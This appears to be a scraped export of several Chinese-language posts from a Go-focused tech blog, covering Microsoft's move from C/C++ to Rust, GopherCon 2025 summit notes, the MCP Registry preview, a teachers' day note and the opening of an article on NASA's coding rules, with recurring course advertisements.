Azure CTO、技术巨擘 Mark Russinovich 在一场 Rust 技术会议上发表了闭幕演讲，以前所未有的坦诚和力度，揭示了微软内部正在进行的一场深刻的技术变革：全面拥抱 Rust，并战略性地替代 C/C++。\n他不仅分享了 Rust 在 Windows 内核、Office、Azure 云等核心产品中的惊人实践案例，还首次披露了微软正在研发的、利用 AI 大模型自动将 C/C++ 代码转换为安全 Rust 的前沿工具。这既是一次技术分享，也是一份来自行业顶层的宣言。\n在这篇文章中，我们就来看看微软在走向Rust的路上究竟做了哪些工作和改变，用户和社区的反馈又是如何。\n战略驱动：为何微软必须转向 Rust？ 演讲开篇，Mark Russinovich 就抛出了一个触目惊心的数据，这也是驱动微软进行这场变革的根本原因：\n在过去十几年中，微软所有产品中 70% 的安全漏洞，均由 C/C++ 中的内存安全问题导致。\n他直言，这种趋势仍在继续，这已不仅仅是技术债，更是持续不断的安全事件和威胁。正是基于此，他个人早已成为 Rust 的坚定拥护者，并分享了一段有趣的往事：2022年，他在看到编程语言排行榜后，有感而发地发布了一条推文——“是时候停止在任何新项目中使用 C/C++ 了，业界应该转向 Rust”。\n这条推文成为了他有史以来互动量最高的内容，甚至引来了微软 CEO Satya Nadella 的电话询问。而他的回答坚定不移：“是的，我坚信如此。”\n这并非一时冲动，而是一场席卷微软的、自下而上与自上而下相结合的运动。从美国国家安全局 (NSA) 呼吁业界放弃内存不安全的语言，到微软自身因不安全代码被攻击后发起的“安全未来倡议 (Secure Future Initiative)”，微软上下已经形成共识：必须摆脱不安全的语言。\n实践版图：Rust 在微软核心产品中的落地生根 Mark Russinovich 随后详细介绍了 Rust 在微软内部的实践版图，其广度和深度令人瞩目。\nWindows：从内核“阿喀琉斯之踵”开始 Project Mu (UEFI 固件): 微软选择从安全性要求极高的系统引导固件入手，用 Rust 重写了 UEFI 实现（Project Mu）。该项目已应用于 Azure 数据中心和 Surface 笔记本，并已开源，旨在推动整个硬件生态采用 Rust。 DirectWrite (核心图形组件): 团队选择了一个漏洞频发的独立组件——负责字体解析的 DirectWrite 进行移植。两名开发者耗时六个月，将 15.4 万行 C/C++ 代码移植为 Rust。结果不仅消除了安全隐患，还意外获得了 5% 到 15% 的性能提升。 Win32k.sys (GDI 模块): 这是 Windows 安全的“阿喀琉斯之踵”，过去20年间漏洞不断。微软选择用 Rust 重写了其中的 GDI Regions 子系统。两名开发者耗时三个月，移植了 6.3 万行 代码进入内核态。尽管 C++/Rust 的互操作边界带来了巨大挑战，但项目最终成功，且没有性能衰退。如今，在 Windows 系统目录中，你甚至能找到带有 _rs 后缀的内核模块文件。 Office 与 Azure 云：性能与安全的双重胜利 Office (DISKANN 向量搜索): Office 团队将一个前沿的向量搜索算法（DISKANN）从 C++ 移植到 Rust，用于 Office 365 和 Azure Cosmos DB。结果是惊人的：在实现同等 QPS 的情况下，召回率显著提升，内存占用反而下降。\nAzure (CTO 的铁腕): Mark Russinovich 透露，早在发布那条著名推文的两三年前，他就已在 Azure 内部颁布指令：“Azure 中不再有新的 C++ 系统代码”。这一指令推动了 Rust 在 Azure 基础架构中的全面应用：\n硬件层面: 云服务器的开源可信根项目 Caliptra、深入每台服务器的 Azure Integrated HSM 硬件安全模块，其固件均由 Rust 编写。 硬件卸载卡: 负责网络和存储处理的智能网卡（DPU）上的新组件，已全部使用 Rust 开发，部分已有 C++ 组件也被迁移到了 Rust。 虚拟化: Hyper-V 的 Arm64 模拟代码已用 Rust 重写；最近开源的 Open VMM（一个准虚拟化监视器）完全由 Rust 构建；而革命性的 Hyper-V Lite 项目，能以微秒级速度启动一个超轻量级虚拟机来运行 WASM 负载，其原型虽为 C#，但最终的开源实现完全是 Rust。 Azure 服务:\nAzure Data Explorer (ADX): 这个每天处理 PB 级数据的日志分析平台，其 V2 版本后完全用 35 万行 Rust 代码 重写，性能超越 C++ 版本，成为微软内部 Rust 实践的标杆案例。 Azure SDK for Rust: 顺应客户需求，Azure 官方已发布了 Rust SDK 的 Beta 版本，标志着 Rust 正式成为 Azure 的一等公民语言。 真实反馈：来自一线开发者的收获与挑战 这场变革并非一帆风顺。Mark Russinovich 坦诚地分享了一线开发者的真实反馈：\n** 收获 (The Positives):**\n“如果它能编译，它就能工作”: 这是开发者们提到最多的一点，与 C++ 编译通过后仍充满不确定性的体验形成鲜明对比。 减少摩擦，专注创新: 消除了内存安全和数据竞争等底层心智负担。 “两个月的转变”: 一个常见的模式是，C++ 开发者最初会对所有权和借用检查器感到痛苦，但大约两个月后，他们会转变为 Rust 的忠实拥护者。 ** 挑战 (The Negatives):**\nC++ 互操作性是第一大难题: 在逐步替换大型 C++ 项目时，处理两种语言的边界问题耗费了大量精力。 工具链仍有待成熟。 Crate 生态系统: 开发者不确定应该使用和信任哪些第三方库。 部分依赖的特性尚未稳定。 动态链接: 在 Windows 生态中常见的动态链接，与 Rust 的结合存在问题。 尽管存在这些挑战，但 Mark Russinovich 强调，优点已经足够让微软“全身心投入 (all in)”。\n展望未来：用 AI 加速 “去 C++” 进程 演讲的最后，Mark Russinovich 揭示了微软正在探索的、旨在加速 Rust 迁移的“终极武器”——自动化代码翻译。\n微软正在从两个方向推进这项工作：\n专用转译器 (Transpiler): 针对特定领域，如经过形式化验证的加密库。微软研究团队已开发出一个工具，能将严格遵循特定规范的 C 代码自动、安全地转译为 100% safe 的 Rust 代码，并确保其数学验证在转译后依然有效。 通用 AI 翻译器 (GenAI + GraphRAG): 这是更宏伟的目标。传统的 LLM 在处理多文件、复杂的 C++ 项目时效果不佳。微软正在利用一种名为 GraphRAG (图检索增强生成) 的先进技术。该技术能将代码解析为抽象语法树，并构建一个多层次的、包含代码摘要和依赖关系的图谱。当进行翻译时，AI 可以基于这个图谱进行更精准、更具上下文感知的代码生成。 他现场演示了一个将多文件 Python 小游戏翻译为 Rust 的例子。普通的 GPT-4o 生成的代码无法编译，而 GraphRAG 驱动的翻译器则一次性生成了可完美运行的、100% safe 的 Rust 代码。\n总结：一场自上而下的语言革命 Mark Russinovich 的演讲，标志着 Rust 在主流工业界的应用进入了一个全新的阶段。微软的实践雄辩地证明，用 Rust 替代 C/C++ 不仅是为了安全，更能带来意想不到的性能收益和开发体验提升。\n更重要的是，微软的承诺是全方位的：从内部产品的深度重构，到对社区的资金支持，再到投入研发力量攻克 C++ 互操作和自动化迁移这两大核心难题。\n正如 Mark 所言，一门语言的成熟需要超过十年的时间。Rust 已经走到了这个节点，其生态和工具链的成熟度已经达到了一个临界点，使得像微软这样的巨头可以放心下注。对于任何想要挑战 Rust 地位的新语言来说，都将面临一座极难逾越的高山。\n微软的“All in”，不仅是对 Rust 过去的肯定，更是对未来的巨大投资。这无疑为整个软件行业指明了一个更安全、更高效的方向。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/11/microsoft-is-getting-rusty/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/microsoft-is-getting-rusty-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/11/microsoft-is-getting-rusty\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/11/microsoft-is-getting-rusty\"\u003ehttps://tonybai.com/2025/09/11/microsoft-is-getting-rusty\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e近日，微软 Azure CTO、技术巨擘 Mark Russinovich 在一场 Rust 技术会议上发表了\u003ca href=\"https://www.youtube.com/watch?v=1VgptLwP588\"\u003e闭幕演讲\u003c/a\u003e，以前所未有的坦诚和力度，揭示了微软内部正在进行的一场深刻的技术变革：全面拥抱 Rust，并战略性地替代 C/C++。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/microsoft-is-getting-rusty-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e他不仅分享了 Rust 在 Windows 内核、Office、Azure 云等核心产品中的惊人实践案例，还首次披露了微软正在研发的、利用 AI 大模型自动将 C/C++ 代码转换为安全 Rust 的前沿工具。这既是一次技术分享，也是一份来自行业顶层的宣言。\u003c/p\u003e","title":"Azure CTO 深度解读：微软为何要用 Rust “替换” C/C++，又将如何用 AI 加速代码迁移？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/11/gophercon-2025-contributor-summit-notes\n大家好，我是Tony Bai。\nGopherCon 2025 贡献者峰会刚刚落下帷幕。在这场Go核心团队与全球顶尖贡献者齐聚一堂的闭门会议中，Go语言的未来方向被激烈地讨论和塑造。这些讨论或许不像发布泛型那样惊天动地，但它们如同地壳深处的板块运动，深刻地影响着Go生态的未来走向——一个更加成熟、务实，并决心直面企业级开发真实痛点的Go正在到来。\n在这篇文章中，我深入研读了这份信息密度极高的会议纪要，为你提炼并解读了其中与每位Gopher息息相关的四大核心动向，希望可以帮助大家了解Go语言的下一步进化方向。\n动向一：依赖管理的“中年危机”与应对之道 “你是否也曾被Kubernetes的依赖搞得焦头烂额？”\n随着Go在大型项目中的广泛应用，曾经被引以为傲的Go Modules也开始面临“中年危机”。依赖管理，尤其是处理大型、复杂项目中的破坏性变更，已从社区的零星抱怨，正式升级为贡献者峰会的核心议题。\n痛点：当生态系统足够庞大 会议中，来自Kubernetes等大型项目的贡献者明确指出，他们在升级Go版本和依赖时正经历巨大痛苦。例如，zap等核心日志库最近的仓库迁移引发了棘手的“菱形依赖”问题；而golang.org/x系列库为了快速跟进Go的最新特性，频繁提升其要求的Go版本，也给下游项目带来了巨大的维护压力和“升级多米诺”效应。\n这些问题标志着Go生态已经进入了一个新的阶段：简单的go get -u已不足以应对庞大、交错的依赖网络。\n探索的解决方案 Go团队和社区贡献者正从多个维度探索解决方案，虽然没有银弹，但方向已逐渐清晰：\n更智能的弃用警告：目前，在代码中添加// Deprecated:注释来标记弃用API的方式有些“脆弱”，如果格式稍有不慎（例如没有另起一段），工具就无法识别。未来可能会通过go vet检查来强制执行正确的格式，或者放宽解析规则，确保弃用信息能被稳定传达。 go.mod元数据增强：一个极具前瞻性的讨论是，是否可以在go.mod文件中加入“路径转发”元数据。这样，当一个模块的导入路径发生变更时（如从github.com/org/repo迁移到github.com/new-org/repo），旧的go.mod文件可以明确指示工具去新的地址寻找，从而以一种声明式的方式解决仓库迁移带来的依赖中断问题。 推广强兼容性保证：社区呼吁更多核心库能像k8s.io/utils一样，提供明确且严格的向后兼容性保证。一个激进但有趣的想法是，如果企业开始资助这些开源项目，并将“不破坏兼容性”作为资助的条件之一，或许能形成一种更强有力的约束。 解读：Go生态正从“野蛮生长”的青春期，步入需要精细化治理的成熟期。Go团队正严肃对待这些大型项目遇到的真实痛点，未来的工具链和最佳实践，将更加关注稳定性和可预测性，而非仅仅是功能的增加。\n动向二：crypto/tls迎来“配置文件”时代，告别选择困难 Go标准库的crypto/tls包功能强大，但其约15个核心配置选项（密码套件、TLS版本、椭圆曲线等）的组合，对于非密码学专家来说，无疑是一个巨大的心智负担。如何配置出一个既安全又具备良好兼容性的TLS客户端或服务器，一直是一个难题。\n峰会上的讨论，为这个问题带来了一个“大道至简”的解决方案：引入TLS Profiles（配置文件）。\n“陈述你的目标，而非你的手段” 这个想法的核心，是改变配置TLS的思维模式。开发者未来可能不再需要去手动挑选每一个密码学参数，而是向标准库**“陈述你的目标”**。\n什么是TLS Profile？ 它是一套预先定义好的、经过专家审核的配置集合。例如，可能会有：\nModernProfile: 提供最高级别的安全性，可能只支持TLS 1.3和最新的加密算法。 CompatibleProfile: 在保证安全性的前提下，兼顾对一些老旧客户端的兼容。 FIPS140Profile: 严格遵循美国联邦信息处理标准140，适用于政府和金融等高合规性场景。 CNSA2.0Profile: 遵循美国国安局的下一代加密标准。 如何使用？ 开发者只需在tls.Config中设置一个字段，如Profile: tls.ModernProfile。标准库会根据这个Profile，自动为你配置好所有底层的密码学细节。\n动态演进：这些Profiles将是“活”的。随着Go版本的更新，ModernProfile可能会自动引入更安全的算法，并淘汰那些已被发现存在漏洞的旧算法。这意味着，你的应用安全级别可以随着Go的升级而自动提升。\n解读：这是Go“约定优于配置”和“让正确的事情变得容易”哲学的又一次精彩体现。通过将复杂的安全决策封装成几个简单的高级选项，Go极大地降低了开发者犯错的概率，将安全变成了默认选项。这对于整个互联网的安全都是一件好事。\n动向三：项目治理进化，提案流程走向透明与协作 随着Go社区的日益壮大，原有的语言变更提案流程（Proposal Process）正面临巨大的压力。许多社区成员反映，提案提交后如同石沉大海，其审阅状态不透明，处理周期漫长，这极大地挫伤了社区的贡献热情。\n峰会上，Go团队坦诚地面对了这一治理瓶颈，并提出了一系列改革思路，旨在让Go的治理模式更加透明、高效和可扩展。\n队列透明化：Go团队正在探索如何让积压了数百个提案的队列状态更加公开透明，让贡献者能知道自己的提案处于哪个阶段。 任务小组/委员会制度：对于像jsonv2、collections这样重大而复杂的提案，Go团队正在试验性地建立专门的**“任务小组”（Task Forces）**。这些小组由对此领域感兴趣的核心成员和社区专家组成，进行更专注、更高效的讨论和决策。 快速拒绝机制：一个有趣的提议是，建立一个能**快速对不合适的提案说“不”**的委员会。这能避免社区和团队在那些明显不可行或不符合Go哲学的提案上浪费过多精力，同时也能为提案者提供更及时的反馈。 解读：Go项目正在从类似Guido van Rossum时代的“仁慈的独裁者”模式，向一个更具扩展性的**“联邦制”治理模式**演进。通过“权力下放”给各个领域的专家小组，Go能够在保持核心哲学稳定的同时，更快地响应社区的需求，吸纳更多社区的智慧。这是一个开源项目走向成熟的必经之路。\n动向四：开发者体验的持续打磨——CI、IDE与性能工具 开发者体验永远是Go的生命线。峰会同样花大量时间讨论了开发者在日常工作中遇到的各种“小摩擦”。\nCI/CD：Go官方自己的持续集成（CI）测试正变得越来越慢（一年内从15分钟增加到20分钟）。团队正在从多个方面着手解决，包括优化race构建器的性能、改进测试分片（sharding）逻辑等，目标是让核心CI的运行时间回归到5分钟的目标。 IDE (VS Code/gopls)：gopls作为Go语言服务的事实标准，其在复杂项目中的表现备受关注。团队承认并正在着力解决gopls在大型monorepo和多go.work文件场景下的体验不一致、错误信息模糊等问题。 性能分析工具：go tool trace是分析并发和延迟问题的利器，但在处理大规模追踪数据时，其前端可视化和后端处理能力都已达到瓶颈。团队正在积极探索全新的、性能更好的可视化方案（可能参考Mozilla的Firefox Profiler），并考虑提供更强大的**“g-centric view”（以goroutine为中心的视图）**，帮助开发者从海量数据中快速定位问题。 解读：这些看似琐碎的改进，恰恰体现了Go团队对开发者日常工作流的深刻理解和尊重。从CI的几分钟提速，到IDE的一个精准错误提示，再到性能工具的一次流畅缩放，这些细节的累加，共同构成了Go那令人称道的、顺滑的开发体验。\n小结：一个更加成熟、更值得信赖的Go GopherCon 2025贡献者峰会没有发布颠覆性的新语法或“明星功能”。相反，它向我们展示了一个正在完成关键蜕变的Go生态：\n它更关注稳定性，而非激进的语言变更。\n它更倾听企业级用户在复杂场景下的真实痛点，并愿意为此改进核心基础设施。\n它更致力于简化复杂性，尤其是在安全这种不容有失的领域。\n它更开放、更系统地思考项目自身的治理和进化，以拥抱一个更大、更多元化的社区。\nGo 1.25以及未来的版本，可能不会带来太多让我们在社交媒体上惊呼的“新玩具”，但它会带来更多让我们在深夜的生产环境中能安然入睡的“压舱石”。这，或许是一个顶级编程语言生态系统走向真正成熟的标志。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/11/gophercon-2025-contributor-summit-notes/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/gophercon-2025-contributor-summit-notes-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/11/gophercon-2025-contributor-summit-notes\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/11/gophercon-2025-contributor-summit-notes\"\u003ehttps://tonybai.com/2025/09/11/gophercon-2025-contributor-summit-notes\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eGopherCon 2025 贡献者峰会刚刚落下帷幕。在这场Go核心团队与全球顶尖贡献者齐聚一堂的闭门会议中，Go语言的未来方向被激烈地讨论和塑造。这些讨论或许不像发布泛型那样惊天动地，但它们如同地壳深处的板块运动，深刻地影响着Go生态的未来走向——\u003cstrong\u003e一个更加成熟、务实，并决心直面企业级开发真实痛点的Go正在到来。\u003c/strong\u003e\u003c/p\u003e","title":"直面依赖之痛与TLS简化：GopherCon 2025贡献者峰会核心纪要深度解读"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/10/introducing-the-mcp-registry\n大家好，我是Tony Bai。\n近日，模型上下文协议 (Model Context Protocol, MCP)官方发布了其生态系统的核心基础设施：MCP 注册中心 (MCP Registry)的预览版。这个开放的、分布式的目录服务不仅为 MCP 服务器的发现与实施提供了“单一事实来源”，更值得我们 Go 开发者关注的是，Go 语言在其中扮演了从官方工具链到客户端集成的关键角色。\nMCP 注册中心：AI 感知应用的“中央应用商店” 在深入探讨 Go 的角色之前，我们首先需要理解 MCP 注册中心是什么。简单来说，你可以将它想象成一个专为 MCP 服务器打造的、分布式的“应用商店”或“包管理器”。\n在此之前，MCP 服务器的发现和使用依赖于零散的社区列表或口口相传。MCP 注册中心的发布，旨在解决这一核心痛点，其目标是：\n标准化发现与分发：为公开可用的 MCP 服务器提供一个集中、开放的目录和 API，让客户端能轻松找到并连接它们。 构建可信的“单一事实来源”：作为官方的上游数据源，所有 MCP 服务器的维护者都可以将他们的服务信息发布于此。 支持联合生态 (Federated Ecosystem)：它不仅是一个中心化的服务，更鼓励社区和企业基于官方数据构建自己的子注册中心 (subregistry)。这些子注册中心可以根据自身需求，对上游数据进行筛选、增强（例如增加安全扫描评级、兼容性信息）和分发，从而形成一个既统一又多元的生态系统。 这种“中心化上游 + 联合化下游”的设计，为公共“MCP 市场”和有严格安全要求的私有企业部署提供了极大的灵活性。\nGo 的角色：从官方 CLI 到 API 客户端 那么，Go 在这个新兴生态中处于什么位置？答案是：核心。Go 不仅是推荐的实现语言之一，更是官方钦定的核心工具链的构建者。\n生产者视角：使用 Go 编写的 mcp-publisher CLI 对于 MCP 服务器的维护者来说，与注册中心交互的主要工具是官方发布的 mcp-publisher CLI。而这款至关重要的命令行工具，正是使用 Go 语言编写的。\n开发者可以通过预编译的二进制文件或直接从源码构建（需要 Go 1.24+）来使用它。其核心工作流体现了 Go 在构建高效、可靠的开发工具方面的卓越能力：\n初始化 (mcp-publisher init): 在项目目录中快速生成一个 server.json 清单文件。 认证 (mcp-publisher login): 支持多种认证方式，如基于 io.github.* 命名空间的 GitHub OAuth，以及基于自定义域名的 DNS 验证。 发布 (mcp-publisher publish): 在发布前，CLI 会执行一系列严格的验证，包括检查 server.json 的格式，以及验证包的所有权。 所有权验证是一个精巧的设计：注册中心会根据 server.json 中声明的包类型（如 NPM, PyPI, OCI/Docker 等），去对应的上游包仓库检查是否存在特定的元数据（如 package.json 中的 mcpName 字段或 Docker 镜像的 LABEL），从而确保发布者确实拥有他们所声明的软件包。\n这种将复杂验证逻辑封装在单个 Go 二进制文件中的做法，为开发者提供了流畅、安全的发布体验。\n# 从源码构建官方发布工具 git clone https://github.com/modelcontextprotocol/registry cd registry make publisher # 使用 CLI 发布你的 MCP 服务器 cd /path/to/your/mcp-server mcp-publisher init # ... 编辑 server.json ... mcp-publisher login github mcp-publisher publish 消费者视角：使用 Go 构建客户端与子注册中心 对于 MCP 客户端的开发者而言，Go 同样是消费注册中心数据的理想选择。官方提供了一套简洁明了的 REST API：\nGET /v0/servers：分页列出所有服务器。 GET /v0/servers/{id}：获取单个服务器的完整详情。 Go 开发者可以轻松地使用标准库 net/http 来与此 API 交互，构建强大的客户端应用或功能丰富的子注册中心。文档中明确推荐的最佳实践包括：\n构建缓存层：由于官方注册中心不提供SLA保证，客户端应设计缓存机制以应对可能的停机。 实现过滤与增强：在构建子注册中心时，可以拉取上游数据，过滤掉非 active 状态的服务，并利用 _meta 字段为服务器添加自定义元数据（如用户评级、下载量等），从而提供增值服务。 保持 API 兼容性：推荐子注册中心也遵循官方的 API 规范，以便客户端可以在不同注册中心之间轻松切换。 这为 Go 社区留下了广阔的创新空间——无论是开发一个高性能的 MCP 子注册中心代理，还是在现有的 Go 应用中集成 MCP 服务器发现功能。\n小结：核心价值与开发者机遇 MCP 注册中心的发布，对于 Go 开发者而言，不仅仅是多了一个可以使用的工具。它代表了：\nGo 在新兴基础设施领域的持续影响力：从 Docker、Kubernetes 到今天的 MCP注册中心，Go 再次被选为构建下一代关键基础设施核心工具的语言，证明了其在可靠性、性能和开发效率方面的综合优势。 一个参与早期生态建设的机会：MCP 协议尚处早期，其注册中心的发布是生态走向成熟的关键一步。对于 Go 开发者来说，现在是参与贡献、构建工具、发布创新的 MCP 服务器、甚至影响协议未来走向的最佳时机。 AI 应用开发的新范式：通过 MCP，AI 应用可以动态发现并利用上下文信息，变得更加智能和可靠。Go 开发者可以利用 MCP 及其注册中心，构建出更具竞争力的、真正“AI-aware”的应用程序。 总而言之，MCP 注册中心的发布是 AI 基础设施领域的一个重要里程碑。Go 语言在其中扮演的从核心工具链到客户端集成的双重角色，为 Go 社区提供了一个切实的入口，去参与并塑造这个充满潜力的新兴生态。我们鼓励所有对 AI 和分布式系统感兴趣的 Gopher 们，去探索其文档，尝试其工具，并思考如何将 MCP 的力量融入到你的下一个项目中。\n相关资料 Introducing the MCP Registry – https://blog.modelcontextprotocol.io/posts/2025-09-08-mcp-registry-preview/ Consuming Registry Data via REST API – https://github.com/modelcontextprotocol/registry/blob/main/docs/guides/consuming/use-rest-api.md Publish Your MCP Server – https://github.com/modelcontextprotocol/registry/blob/main/docs/guides/publishing/publish-server.md MCP registry开源项目源码 – https://github.com/modelcontextprotocol/registry 你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/10/introducing-the-mcp-registry/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/introducing-the-mcp-registry-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/10/introducing-the-mcp-registry\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/10/introducing-the-mcp-registry\"\u003ehttps://tonybai.com/2025/09/10/introducing-the-mcp-registry\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e近日，模型上下文协议 (Model Context Protocol, MCP)官方发布了其生态系统的核心基础设施：\u003ca href=\"https://blog.modelcontextprotocol.io/posts/2025-09-08-mcp-registry-preview/\"\u003eMCP 注册中心 (MCP Registry)的预览版\u003c/a\u003e。这个开放的、分布式的目录服务不仅为 MCP 服务器的发现与实施提供了“单一事实来源”，更值得我们 Go 开发者关注的是，Go 语言在其中扮演了从官方工具链到客户端集成的关键角色。\u003c/p\u003e","title":"MCP协议注册中心发布：Go在下一代AI基础设施中扮演关键角色"},{"content":"最好的教师节礼物：来自2.5万名Gopher的认可 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n最好的教师节礼物：来自2.5万名Gopher的认可 九月 10, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/09/10/happy-teachers-day-2025\n大家好，我是Tony Bai。\n今天一早，收到了来自极客时间的教师节贺卡，当看到上面那一行数字时，内心瞬间被温暖与感动填满：\n与极客时间相遇的第 5 年，累计已有 25220 位用户加入了我的 Go 语言课程。\n我从未想过，自己能以“老师”的身份，通过《Go语言第一课》和《Go语言进阶课》这两个专栏，陪伴这么多 Gopher 走过他们学习路上的日日夜夜。\n这 25220 份订阅，对我而言绝不仅仅是一个数字，它代表着 2.5 万份沉甸甸的信任、以及无数次的提问、探讨与反馈。是你们，让我这位“老师”的布道之路，充满了意义和价值。\n这份认可，是我在这个特别的日子里，收到过的，最好的教师节礼物。\n也正是带着这份信任与责任，我与人民邮电出版社的老师们，将这份经过数万人检验的《Go语言第一课》精心打磨成册。\n如果说专栏是我们在线上的初遇，那这本《Go语言第一课》纸质版，便是我为大家准备的一份更系统、更完善、更触手可及的“课堂笔记”。\n祝所有在技术道路上探索的同行者们，教师节快乐！愿我们都能在学习与分享中，成为更好的自己。\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/10/happy-teachers-day-2025/","summary":"\u003ch1 id=\"最好的教师节礼物来自25万名gopher的认可---tony-bai\"\u003e最好的教师节礼物：来自2.5万名Gopher的认可 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"最好的教师节礼物：来自2.5万名Gopher的认可"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/09/the-power-of-ten-in-go\n大家好，我是Tony Bai。\n在软件工程领域，有些智慧是永恒的。\n2006 年，NASA/JPL（喷气推进实验室）的 Gerard J. Holzmann 公布了其团队用于开发安全关键 (Safety-Critical) 软件的十条黄金法则——“The Power of Ten: Rules for Developing Safety-Critical Code”。这些规则诞生于 C 语言主导的嵌入式世界，旨在为火星车、深空探测器等“不容有失”的系统构建坚不可摧的代码基石。\n近二十年过去了，我们迎来了云原生和人工智能时代，那么，这些看似“古老”且严苛的 C 语言法则，在如今的世界里过时了吗？还是说，它们的核心思想能够穿越时空，赋予我们Gopher构建更健壮、更可靠的 Go 程序的全新视角？\n今天，就让我将这十条“诫律”嫁接到 Go 语言上，看看它们在今天究竟意味着什么。\n规则 1：限制使用复杂的控制流 C 语言的意图： 禁用 goto、setjmp/longjmp 和递归，确保代码路径清晰、可预测、易于静态分析。goto 和 longjmp 